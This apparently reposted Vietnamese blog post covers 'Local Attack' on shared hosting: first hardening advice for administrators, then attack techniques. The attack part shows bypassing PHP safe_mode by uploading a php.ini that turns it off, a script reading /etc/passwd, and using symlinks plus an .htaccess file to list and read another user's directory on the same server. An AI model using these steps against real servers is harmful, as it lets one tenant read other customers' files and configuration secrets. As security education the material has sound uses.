  • Trước hết, các nhà quản trị server nên tự trang bị cho mình những công cụ bảo vệ server như firewall và chương trình antivirus được cập nhập bản mới nhất. Antivirus giúp phát hiện và diệt những shell hay chương trình độc hại ngay khi nó được upload lên server, firewall đóng vai trò như 1 vệ sĩ gác cửa ngăn chặn và cảnh báo 1 số các sự kiện: mở cổng, truy cập khả nghi đến server
  • Việc cập nhập phiên bản kernel cũng như các phiên bản ứng dụng mới cho server phải được thường xuyên thực hiện. Cũng nên kiểm tra, cập nhập web serverdatabase server lên phiên bản mới nhất. Điều này không chỉ giúp cho server sử dụng các tính năng mới nhất mà còn tránh được các lỗ hổng gây lỗi của phiên bản cũ.
  • Tổ chức phân quyền đúng đắn cho server. Mỗi hosting sẽ được cấp 1 tài khoản người dùng riêng trên server và được giới hạn quyền tối thiểu. Web server và database server chạy dưới quyền các user riêng biệt.
  • Cài đặt và sử dụng Mod_security.
  • Cài đặt và sử dụng suPHP.
  • Sử dụng tính năng PHP safe_mode.

2. Từ phía quản trị website (customer)


  • Chmod chặt chẽ cho các thư mục và file. Với thư mục nên chmod 701, với file nên chmod 600.
  • Sử dụng tính năng PHP safe_mode.

VI. Một số kĩ thuật tấn công Local Attack


1. Bypass safe_mode

a. Tính năng safe_mode trong PHP

  • Safe_mode là một giải pháp để giải quyết vấn đề bảo mật trong các shared-server. Về mặt kiến trúc thì đây là công việc nằm ở tầng của web server và hệ điều hành. Tuy nhiên hai tầng trên hiện không đáp ứng thực sự tốt công việc này. Do vậy, ngày nay rất nhiều người đang sử dụng tính năng safe_mode của PHP như một giải pháp thay thế.
  • Để bật tính năng safe_mode của PHP, bạn chỉ cần sửa lại dòng sau trong file php.ini:
safe_mode = On


  • Khi safe_mode được bật, PHP sẽ kiểm tra xem owner của script có trùng với owner của file đang được tác động hay không. Nếu không trùng sẽ có thông báo lỗi xuất hiện. Ví dụ owner của /etc/passwdroot (uid = 0), owner của script test.phpsangcx (uid = 509). Nội dung của script test.php:
<?php readfile(‘/etc/passwd’); ?>

Khi chạy script test.php ta sẽ nhận được thông báo:

Warning:
readfile() [function.readfile]: SAFE MODE Restriction in effect. The script whose uid is 509 is not allowed to access /etc/passwd owned by uid 0 in /usr/local/apache2/htdocs/site2/test.php on line 2


  • Chúng ta cũng có thể vô hiệu hóa một số hàm bằng chỉ thị disable_function của safe_mode (thay đổi chỉ thị này trong file php.ini):
disable_function = readfile

Khi chạy scritp test.php ở trên ta sẽ nhận được thông báo:


Warning: readfile() has been disabled for security reasons in /usr/local/apache2/htdocs/site2/test.php on line 2


Danh sách các hàm mà safe_mode cấm dùng hoặc bị vô hiệu hóa:

http://www.php.net/manual/en/features.safe-mode.functions.php

b. Kĩ thuật bypass safe_mode


  • Để bypass safe_mode, ta cần upload được một file php.ini với nội dung như sau lên server:
safe_mode = Off


Hiện nay có nhiều shell có tính năng này. Chỉ cần 1 cú click chuột là shell sẽ tự tạo một file php.ini nội dung như trên và upload lên server. Một trong các shell hay được sử dụng để bypass safe_modeAluCar.

2. Symlink


a. Một số kiến thức về symlink

  • Trong Linux, dữ liệu của các file được chia thành các block, 1 block = 1K, 2K, 4K…
  • Có nhiều cách tổ chức để liên kết các khối dữ liệu trong một file với nhau, một trong các cách đó là dùng chỉ mục (indexed allocation).



  • Với kiểu tổ chức này, một file được đại diện bằng một Index Node (Inode).



  • Inode chứa các thông tin:
    • Quyền truy cập đến file.
    • Thông tin về người/nhóm sở hữu.
    • Thông tin về thời gian.
    • Số liên kết đến Inode.
    • Kích thước file, địa chỉ các block dữ liệu
    • NHƯNG: không chứa tên file à 1 inode có thể ứng với nhiều file name.
  • Có hai loại file liên kết trong Linux: hard link và soft link (hay symbolic link).
  • Hard link – liên kết cứng, sử dụng chung dữ liệu.
    • Các file có tên khác nhau.
    • Cùng 1 inode.
    • Chỉ số liên kết trong inode bằng số file trỏ đến nó.
    • Có thể khác thư mục.
    • Cách tạo hard link: ln src_file hard_link_file
  • Soft link (symbolic link – symlink) – liên kết mềm, liên kết kiểu con trỏ file (short cut).
    • Các file có tên khác nhau.
    • Giá trị inode khác nhau.
    • Nội dung file liên kết mềm là tên file được liên kết.
    • Cách tạo symlink: ln – s src_file sym_link_file
  • Có thể hình dung symlink giống như tạo short cut trong Windows.

b. Kĩ thuật symlink trong Local Attack


  • Khi thực hiện tấn công Local Attack, đôi khi chúng ta không thể hiện được các thông tin quan trọng như cấu trúc thư mục, nội dung file cấu hình của victim. Nguyên nhân là do cấu hình của server không cho phép chúng ta làm điều đó. Để giải quyết vấn đề này ta có thể dùng kĩ thuật symlink.
  • Ví dụ khi đã có shell tại /home/user1/ và muốn tấn công victim có thư mục nằm tại /home/user2. Các câu lệnh hay dùng như ls –la /home/user2 không có tác dụng. Khi đó ta sẽ tạo một symlink tới thư mục /home/user2 như sau:
ln –s /home/user2 a.txt

  • Khi đó a.txt sẽ như một shortcut đến thư mục /home/user2. Ta chỉ cần vào địa chỉ /home/user1/a.txt là nội dung thư mục /home/user2 sẽ hiện ra. Tuy nhiên, để làm được điều này thì một số chỉ thị sau của server phải được bật:

Options +FollowSymLinks #cho phép dùng symlink

DirectoryIndex seees.html #vô hiệu hóa file index.html

Options +Indexes #cho phép hiện cấu trúc thư mục


  • Nếu server không bật các chỉ thị trên, có thể bạn sẽ gặp lỗi 500 Internal Server Error hoặc lỗi 403 Forbidden. Để khắc phục hiện tượng này, bạn chỉ cần tạo một file .htaccess có nội dung là 3 chỉ thị trên rồi upload lên server.
- Sưu tầm

Xem Thêm

 

Copyright © Dương-UG Blog's - Nguyễn Bình Dương